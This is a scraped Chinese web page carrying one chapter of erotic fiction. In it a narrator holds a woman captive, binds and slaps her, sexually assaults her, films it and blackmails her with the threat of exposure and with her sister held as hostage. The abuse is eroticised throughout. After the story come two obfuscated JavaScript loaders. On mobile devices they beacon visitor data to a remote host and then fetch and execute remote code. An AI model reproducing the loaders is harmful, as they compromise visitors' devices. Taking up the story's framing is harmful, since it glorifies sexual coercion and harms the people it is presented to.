图片载入中

调教熟女

特大字】 【大字】 【中字】 【小字

调教后的高潮

我打开监禁千鹤调养教室的门,刚才和惠理、麻由美交欢的快感还残留在下腹部内。

眼前的千鹤,就像被打包的行李,悬吊在天花板上。

千鹤弯曲着膝盖顶在胸脯前,脚踝和手腕被绳子缠绑在一起。

用多条绳子从天花板上垂吊的千鹤,就像是被蛛蛛网捕获的蝴蝶,既美丽又珍贵。

“让你久等了,千鹤小姐。一个人很寂寞吧……”

千鹤甩开黏在脸上被汗濡湿的头发,抬起头来看着我。

我在到惠理的调教室之前就绑着千鹤了,她就以这样的姿势等到我回来。 因为使用了多条绳子来分散体重,所以缠绕在身上的绳子,并没有表面上所见的疼痛不堪。

对上千鹤惺忪的双眼,她一定也在这种束缚的疼痛中得到快感了。

我走向前,想看清楚她肉壁大开的模样。

并没有特意的加以爱抚,只是被吊起来而已,千鹤的裂缝中,已经渗出白色黏稠的液体。

果然如我所想。

也许她自己还没有发觉,但千鹤的身体的确流着被虐待狂的血。我越来越确信。

“怎么了,千鹤小姐?被囚禁的身体已经兴奋了吗?”

她自己看不见,但股间湿淋淋的淫水已经证明了一切。

千鹤听到我的话,全身泛起粉红色的红潮。

“请你不要再说这种下流的话了。只要你现在放了我,我保证不会对任何人提起你所做的事。”

我不加思索的笑了出来。

她居然会说出这么引人发笑的话,千鹤大概是还不了解自己的立场吧,现在掌控全局的人可是我呢。

“千鹤小姐,你还蛮幽默的嘛!”

千鹤的悔意完全写在眼里,这种表情和动作实在令人怜惜。

我伸手轻抚着千鹤完美的臀部。

轻轻的旋绕着、停住、再滑到另一边,来回抚弄着。

在不断的爱抚下、千鹤的身体升起一股无力感,由表情看来,她似乎也死心了。

“惠理很好哦……”

千鹤沉默着,终于忍不住了。

“你……你到底对她做了什么?”

千鹤抬起头,瞪着我,她现在的动作有多可笑滑稽,她自己可能还没有察觉到吧。

一直相信自己能救得了惠理的千鹤,这个身体也已渐渐堕入肉奴的世界了。 什么时候千鹤才会像惠理一样呢。

我没有回答千鹤的问题,只是继续玩弄着千鹤高抬的屁股。

“讨厌,你在做什么?”

我还是没有回答她,内壁的淫肉已经湿湿热热的,我来回抚弄着,加强手劲插了进去。

“啊啊……”

一直监视着我的行动的千鹤,终于忍不住呻吟出声。

“已经湿答答了呢,千鹤小姐。只是把你吊起来就湿成这样,你真的很喜欢这种色情的事呢。”

“这种事……”

千鹤想逃离我的手指般的扭动着身躯,但肉壁内温热的黏膜却缠噬着我的手指。

真想快点把我的肉棒插入着温暖的内洼里,可是我一定要等到千鹤自己渴求着我的时候。

为了忘却我心中的欲求,我只能狂暴的用手指在千鹤的体内抽送着…… “不要。拜托你不要再做了,求求你黑田先生……”

我将握成拳的手掌插入千鹤的水面时,发出了噗噗噗的滑稽声音,混合着千鹤悲伤的哭泣声。

“求求你……求求你……”

不停重复的话语,这真是教人想一直听下去的甜美呻吟。

但是,我现在想听的并不是这个。

我想听的,并不是只有这种程度的甜美声音,千鹤像猪一样,不停的从鼻子里发出悲鸣般的喘气声。

在我的手指停止动作的同时,这甜美的呻吟也消失了,只剩下浅浅淡淡的唿吸声回绕在调教室内。

从千鹤的阴部拔出的手指,沾满了她白色黏稠的爱液。我将爱液涂抹在她耻丘的毛发上,弄干净自己的手指后,我对她说:“我不会对你做什么的,时机还没到。”

花太多时间在质问与回答上了,其间还玩弄了她的肉穴,照千鹤目前的情况看来,告诉她惠理的事情,可能还得花一点时间。

“真的吗?”

“嗯,是真的。当然我也不会再帮你灌肠了。”

千鹤的脸表情浮现出动摇的神态。

大概是想起在我面前大量垂粪的耻辱吧,千鹤全身都红透了。

“真是的,我也没有对惠理灌肠啊,你的反应不要那么激烈嘛!”

千鹤悔恨的看着我,双手被捆绑着,导致血液无法畅通,已经变成紫色的手掌怨恨的握紧拳头。

千鹤缓慢而痛苦的问:“难道你……对惠理说了那件事……”

果然是自尊高出他人一倍的千鹤。她最不愿的,就是在我面前大量垂粪的事情,被自己的妹妹惠理知道。

就算被其他人知道,也比不上被自己的亲妹妹看不起的痛苦。

我摸了摸千鹤的脸颊。

“惠理是我能留住千鹤小姐你的重要人质,我已经将她安置在清洁的房间里了。所以千鹤要乖乖的当我的玩具,我们一起好好乐一乐吧。”

我摸着千鹤的脸颊,她抬起头来看着我,好像考虑着什么事般的。她想说什么,我正等待着。

“拜托你……不要再对我做出这种事了!”

千鹤那对一直都很强势的柳眉,突然变成了楚楚可怜的八字眉。

比起始终只有一张脸的美人,千鹤的表情丰富可爱多了,而唯一能让她如此低声下气说话的人,就只有我了。

我渐渐愉悦了起来。

“不行喔,怎么可以不做呢?我们什么都还没开始呢!”

“可是……可是这和惠理是没有关系的呀,所以请你放她走吧!”

“我不是说过了吗,惠理可是能让你乖乖听话的重要人质啊。”

“就算没有惠理,我……我也会听黑田先生的话的……”

千鹤话说到一半就停下来,终于又继续痛苦的说着。

“昨天……我想了一个晚上。我已经反省过了,那时候,我没有好好回应黑田先生的心意……”

一个划破寂静的声音。没多久,我的手心上燃起了一股灼热感。

千鹤撑大双眼,身体硬直,她的脸颊已经通红肿胀。

我赏了她一巴掌,虽然我没有伤害女人身体的兴趣,但我决不允许千鹤提起当时的那件事情。

就是那件事,让我否定了自己所选择的人生。

所以我看开了,我顺从了自己的命运,所以现在我才在这里玩弄着千鹤。 在静止的时间中,我疯狂大喊着。

“来,我们继续吧,在宫舞回日本前,我会让你变成一个最淫猥的肉奴。” 脸颊灼热的痛感让千鹤的双唇不停打颤着,睁大双眼的千鹤彷佛可以预见接下来毫无人性的调教方式。

“不要……拜托你,不要……”

千鹤被打了一巴掌后,显得更加恐惧。

组织里的第一把交椅赤城一直都说想要调教女人成为一流的奴隶,必须先让她们尝过恐怖与害怕,这么一来,再难搞的女人都会受不了快感的诱惑。为了忘掉一切,她们只好不断渴求身体的刺激,为男根活下去。

赤城并不是随便说说的。

我身后的门被人推开,发出厚重的咿呀声。转过身,麻由美穿着近乎全裸的围裙,拿着摄影机站在那里。

在那之后,不晓得麻由美和惠理是经过多么疯狂的三人戏,只见麻由美似乎很满足的满脸通红。

“主人,抱歉我来迟了。”

我并没有下令叫她要跟过来,反正能玩弄千鹤的只有我一人。

是麻由美自己来到我调教千鹤的地方。

是因为嫉妒吧,因为担心自己(第一奴隶)的地位被千鹤抢走。

无所谓,有助理的话,调教起来也更轻松。

“麻由美,准备摄影。”

已经快放弃的千鹤,听到我口中冒出的“准备摄影”,表情在一瞬间改变。 “你打算做什么?”

她以为只要忍过这段屈辱,等时间一久,就能当做是场恶梦忘了它嘛! 千鹤大概是这么想的吧。

但我却拿出摄影机,千鹤原本逐渐释怀的心又紧绷了起来。

如果这种模样被拍下来的话,原本以为能遗忘的屈辱,不就会一直跟着她一辈子吗?

“不要,放了我,不要啊……”

缠绕在千鹤身上的绳子,随着千鹤的反抗而摇摆起来。

双股因摇动而更加扩开,吊在半空中的千鹤不停疯狂大声哭喊着。

这段时间内,麻由美已经架好三脚架,将摄影机对准千鹤。

我退到墙边,观察着这两个女人。

人生的际遇真是奇妙。

曾是公司里最美的两个美人,如今一个全裸的像包裹似的吊在空中,而另一个则是穿着围裙半裸的在准备摄影的器材。

这是我选择的人生……不,虽然这不是我自愿的生存方式,但加入秘密结社对我而言是最好、最正确的。

我没有必要感谢神,身为极道中人,这只是让自己快乐渡日的方法罢了。 哈哈,真是太愉快了,哈哈哈……

只要有能力,再加上一点暴力,整个世界就掌握在我手中,只要是我想要的东西,没有一个能逃出我的手掌心。啊哈哈哈……

“主人。”

麻由美的声音将我拉回现实。

摄影机就架设在千鹤下体的一米处,用三脚架支撑着。

液晶显示的视窗中,那完美的身躯就是张开双腿的千鹤。

我按下了电源钮,红色的讯号灯瞬时亮起来,在寂静中只有空白带回转的声音。

“这里是深山里的一栋遭废弃的别墅,现在有一位太太正迈向成为肉奴的阶段,这位太太的名字是……”

“别说了……”

千鹤激烈的甩着头,彷佛是用尽全身的力气似的狂叫。天花板上支撑绳子的导水管发出了矶矶声。

“千鹤小姐,你这样让我很困扰啊。现在我正在帮你配旁白,请你不要这么没品的打扰我好吗?”

“你拍这种录影到底想要做什么?”

她的声音颤抖着,但并不是因为害怕,而是气愤。可是不管你如何生气,都阻止不了我。

被吊在空中受尽侮辱,这就是你的命运,因为我爱你。

“我要做什么,你可以从现在开始好好想一想,接下来就要看你怎么做了,我也不想把这卷录影带拿给别人看哪。”

“真的吗……”

那个高傲的千鹤,终于快要臣服在我的脚下了。

只要再一下。

我勾勾手指示意麻由美,就好像手术中的医生和护士,麻由美不发一语的将振动棒交给我。

“唔唔……”

振动棒轻易的就进入千鹤的身体里,我按下开关,振动棒埋入千鹤的肉穴深处,直到完全听不到振动棒所发出的声音。

“来,让我们继续吧。拍个脸部特写,这个可怜的太太名字叫做宫舞千鹤,拥有如此美貌的她,却嫁给一个毫无工作能力的蠢男人,只能每晚躲在棉被中哭泣。可是有天,她却被恶魔掳走,慢慢的开发她本身肉奴的资质,让她堕入淫欲的世界。”

我用报告式的口吻陈述着,自己听来都觉得好笑,但千鹤可就笑不出来下,这对她而言是屈辱,但同时也让她得到被虐的快感。就算这样对待她,她还是有感觉,女人果然只是愚蠢又贪图肉欲的生物罢了。

千鹤感到屈辱而有所抵抗,但这只是刚开始而已,马上我就会让她忘记有在拍摄录影带,而让她爽到发出甜美的呻吟。

我放开手,让振动棒刺入千鹤的内腔深处,再缓缓将振动棒拔出,千鹤的爱液立刻喷洒在地板上。

“啊啊……”

拔出振动棒的瞬间,千鹤全身硬直,发出令人不耻但却又惹人怜爱的呻吟。 “什么嘛,真教人失望,原来千鹤小姐是那么淫荡的女人啊。”

我半恶作剧的嘲笑她。

千鹤想都没想过自己会那么不知羞耻的发出淫荡的呻吟,她不愿承认般的,悲伤的摇着头。

“接下来,这次是……”

我将手指又探回千鹤快要溃烂的阴部。

“用这个姿势帮你灌肠,再用摄影机把画面拍下来你觉得怎么样?”

手指来回抽送中,千鹤的肉穴不断发出噗啾噗啾的声音,千鹤听到灌肠立刻产生激烈的反应。

“不要,只有这件事……”

“那就请你好好的配合我,拍出好作品来吧。”

我将手指弯起,在内腔里搔痒玩弄着,千鹤螯着眉,将双眼紧闭,她正想着怎么做我才会满意、怎么做我才会放过她。

“你……你要我怎么做?”

她睁开湿润泛红的双眼,慢慢的堕落。千鹤这种痛苦的样子真是太美丽了。 “那样的话,请你对镜头复颂我说的话。”

我走近千鹤身旁,靠近她的耳朵。

汗水甜美的气味让我忘情着迷,但我立刻就回复了理智,这个冷漠高傲的奴隶慎重的考量着。

“……可是……”

究竟要说什么,千鹤疑虑着。

就算是照我的要求所念出的台词,但被摄影机记录下来的屈辱却是不变的。 但比起被灌肠喷粪的耻辱,口头上的羞辱的确是轻多了。

千鹤踌躇的对着镜头说了起来。

“我……我,宫舞千鹤是个淫荡的妻子……只有一个男人,是……是无法满足我的……我需要很多……很多男人的阴茎来好好疼爱我。”

就好像用尽全身的力气,千鹤无力的垂下了头。

“来,我们继续吧。”

我用手指沾了一点她溢出的淫水,轻轻的剥开她柔软的阴唇,不停用手指磨擦她粉红色的花蕾。

千鹤惊骇的痉挛,不自觉的发出“哈啊啊……”的淫秽叫声,我从她的肉穴中再度抬起头。

千鹤脸上的红潮似乎比刚才又更深了一点,比起被捆绑垂吊的痛苦,性的兴奋似乎更能刺激她的官感。

“阴核被玩弄是怎样感觉呢?哪里最有感觉呢?对摄影机好好说清楚吧。” 千鹤紧蹙着眉头,颤抖着声音,对着摄影机缓缓的说道。

“屁股,只要被玩弄屁股我就会受不了。”

“那么,就让我来好好玩弄你的屁股吧。”

千鹤还讶异着我所说的话,身边的麻由美已经将接下来要使用的道具交到我手上,那是一条长约二十公分的送风试管和塑胶帮浦。

等一下可能还需要一点润滑剂,但千鹤体内已经经制造出许多天然的润滑剂了,应该已经足够了吧。

听到我说的话,千鹤不自觉的兴奋起来。

“来,慢慢的吐气,放松全身的力气。”

“不要、不可以,拜托你。这和你刚才说的不一样……你骗了我。”

“可是,你真的很喜欢被人玩弄屁股的对吧?你刚才不是这么说的吗?等录影带拍好了,我们再一起观赏吧。”

“不可以……只有这件事……”

又想起被灌肠的屈辱了吧,千鹤似乎十分不愿再被玩弄屁股了呢。

可是我可不会就此停手的哟,要我破坏千鹤希望被玩弄屁股的期望,这我可是怎么样都办不到的。

没错,虽然千鹤口头上不断的向我乞求,但她下体不停溢出的淫永却泄露她的期望。

“要开始罗!”

我将送风管插入千鹤的肛门内,慢慢地灌入空气,被濡湿的肛门毫无抵抗能力,只好不停地吸入空气。

帮浦因抽压而时鼓时扁,但千鹤的肛门却是越撑越大。

虽然并不是非常疼痛,但还是具有灌肠效果,千鹤的肛门也会慢慢扩大。 千鹤悲鸣着,不停对我摇尾乞怜,她全身颤抖着,不停冒汗。

我抹了一把她身上的汗水,却比冰块更冰冷。

“放松力气就不会那么痛苦了,肛门不要出力。来……吐气。”

“哈啊啊……”

千鹤乖乖听我的话,缓缓的放松肛门的力气。

因为答应过不碰她的阴部,所以我才对她的肛门下手,但奇怪的是,千鹤不仅是放松了肛门的力气,就连对面的阴穴也流出大量的爱液,不停的诱惑着我。 这还真有趣,千鹤这种模样一定要好好拍下来才行。

“这还真不错,拍到了非常了不起的画面呢,拍好了之后,让惠理也来看看吧。”

“不可以!”千鹤反射性地大叫。

“拜托你,这个绝对不行,绝对不能让惠理看到……”

肛门对着镜头大开着,即使如此仍极力想维护自尊的千鹤不断向我恳求着,这种样子实在太好笑了。

这就是有“业务部之花”美誉的园内千鹤,哦不,应该是宫舞主任夫人-宫舞千鹤夫人,但她却是如此淫乱又美丽啊。

“我知道了,我不会把这卷录影带拿给惠理看的,所以你要如何报答我呢,你就对镜头说出现在的感觉吧。”

直至目前为止,千鹤所说的都是依照我的台词。可是,从现在开始,就是千鹤自己所感受到的东西。

她会说出什么话呢,我裤裆底下高举的家伙似乎也迫不及待的随时准备好要干她干一炮。

“你决定怎么做了吗?要不要我去带惠理来?”

“我……我……”

千鹤举步艰难的说着。

“我……我最喜欢……被人玩弄屁股……只……只要一被这么做,我就会感到很舒服……只要被玩弄屁股就好像快达到高潮一样……请看……请仔细的看清楚……请……请仔细看看我大开的屁眼吧。”

这并不是我逼她说出来的,是千鹤自己承认喜欢被玩弄屁眼。

千鹤的意识已经模煳了,她的眼神涣散迷惘的看着我。

“真没办法,那么,我只好更加疼爱你了。”

我拔出膨胀的帮浦,肛门的黏膜已经丑陋变型,还闪耀着淫秽的光芒。 千鹤悲鸣着,但并不是快感的呻吟,这也没关系,因为千鹤的内部可能已经受伤了。

放出了空气,帮浦立刻“咻”的一声消了气,千鹤被灌气肛门也像泄了气的气球,慢慢恢复原样。

被拔出的送风管前端还附着着千鹤的秽物。

“唉啊……被你弄脏了。”

我嘲讽着千鹤,但她的眼神却毫无反应。

千鹤迷惑着,自己居然喜欢被玩弄屁眼,被人说出羞辱的言语居然还会感到快感,现在她的脑中已经是一片空白。

我将沾了千鹤粪便的帮浦和送风管交给了麻由美,顺便拿起一旁的小型按摩器。这种按摩棒比一般普通的振动棒来的细长,最适合还没有经验的屁眼。细长的按摩棒微妙的振动感轻轻悄悄的刺激着千鹤,慢慢的进入她的菊纹中心。 轻轻的、缓缓的……

千鹤火红着双颊紧闭双眼。

按摩棒已经没入深处,不停在千鹤的小肠处骚弄着,但昨天的灌肠已经搞的千鹤的肠中空无一物了,也无法再让她垂粪。

我又慢慢将按摩棒拔出来,却听到千鹤的体内传来一阵阵“噗噗”的声音。 按摩棒上沾了粪便。

拔出按摩棒的快感和排泄的快感相似,千鹤杏唇微张,缓缓的吐出一声奇妙又神秘的呻吟。

来回的抽插了几次后,千鹤的肛门就好像花苞一样,缓缓的绽大放盛开。 感觉到了自己身体上的变化,千鹤想夹紧屁股,但被捆绑垂吊着根本使不上力气,肉穴里满溢的黏稠蜜汁慢慢的流向肛门。

按摩棒轻易的就滑入千鹤的肛门里,这原本不在我的预算之内,但千鹤却起了激烈的反应。

比起干涸当然是湿润的被搞比较舒服,肛门和肉穴的构造基本上是相同的。 千鹤咬紧牙关尽量克制自己不发出声音,但空荡荡的调教室中只有千鹤忍不住发出的淫秽呻吟。

“怎么样,舒服吗?肛门被玩弄一定很爽吧,千鹤小姐。”

千鹤疯狂的摇着头,似乎想传达什么。

但千鹤什么也说不出口,肛门沸腾的快感已经把她的理性燃烧殆尽。

我想听听千鹤更淫秽的叫声。

“很棒吧?你觉得很爽吧?”

我好想听听千鹤更淫秽的叫声,便更加激动的抽动手上的按摩棒。

“好棒……啊……好……”

终于听到千鹤的淫叫声。

“好棒……好舒服……真是太爽了……”

千鹤小声的呻吟着。

“哪里最舒服啊?对着摄影机说清楚。”

“啊啊……屁眼……屁眼好舒服……”

肉穴中流出大量的蜜液,抽送的按摩棒不停的让千鹤的屁服发出噗啾噗啾的声音。

“啊啊……好棒……为什么……为什么会这么……啊啊……好舒服……屁眼好舒服!”

千鹤已经不知道自己说了什么了吧,对着镜头,不断说出淫秽的活语。 千鹤断断续续的说着,唿吸凌乱。

“哈啊……哈啊啊……哈哈啊……”

千鹤似乎就快要达到顶点了。从小就受尽各方宠爱的千鹤,自尊心超高的千鹤,现在她的肛门就要迎接到达顶点的高潮。

这么值得纪念的瞬间,一定要用摄影机记录下来,我更用力的抽动手中的按摩棒。

“啊啊啊……不行啊……”

千鹤的阴部突然紧缩起来,黏稠的液体就像放物线射了出来。

已经达到高潮了。

一瞬间,千鹤的全身肌肉都弛缓下来。高潮了,被玩弄肛门的千鹤已经达到高潮了。

我也感到满足了,拔出了千鹤体中的按摩棒,看着千鹤被打开黑暗的洞穴,可以看见她深处的肠子。

被打开的洞穴并没有闭合的迹象,摄影机推进肛门的镜头,就算如此,千鹤的肛门还是那么美丽。

肛门瞬间的闭合,看着液晶视网,千鹤也慢慢的恢复了意识。

但她似乎不知道自己做了什么,只是一脸迷惑的看着天花板。

“你高潮了哟!”我告诉她。

“千鹤小姐,你刚刚一边说着淫秽的言语,一边达到高潮罗!”

似乎慢慢的想起自己刚才的耻态,千鹤全身泛起了异样的红潮,不发一语的忍受屈辱。

“而且你还不只是喷出淫水而已,你还高潮了呢!”

“骗人……你骗人……”

“是真的哟!要不要倒回录影带让你确认一下呢?”

千鹤倒吸了一口气,没有出声。

“宫舞主任应该会很担心吧!”

千鹤不安的看着我。

“把这卷录影带送给宫舞主任看看吧?”

“不要……请你不要做这种事,如果你真的做出这种事……那我就只有去死了。”

那双眼睛真是认真,千鹤真的会自杀吧!她还残留着一丝尊严。我看着千鹤的眼神突然高兴了起来。

还没有达到养调教的最高境界,如果就让你这么死了不就太无趣了吗?我一定会继续调教千鹤,让她失去所有的自尊与坚持。

“我知道了,不过,接下来可就要看你怎么做了。”

我拿出录影带放入口袋里,千鹤仍被捆绑垂吊着,不发一语的目送我离去


上一篇:卫生间的交欢

下一篇:成为姐夫的贴心小棉袄


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};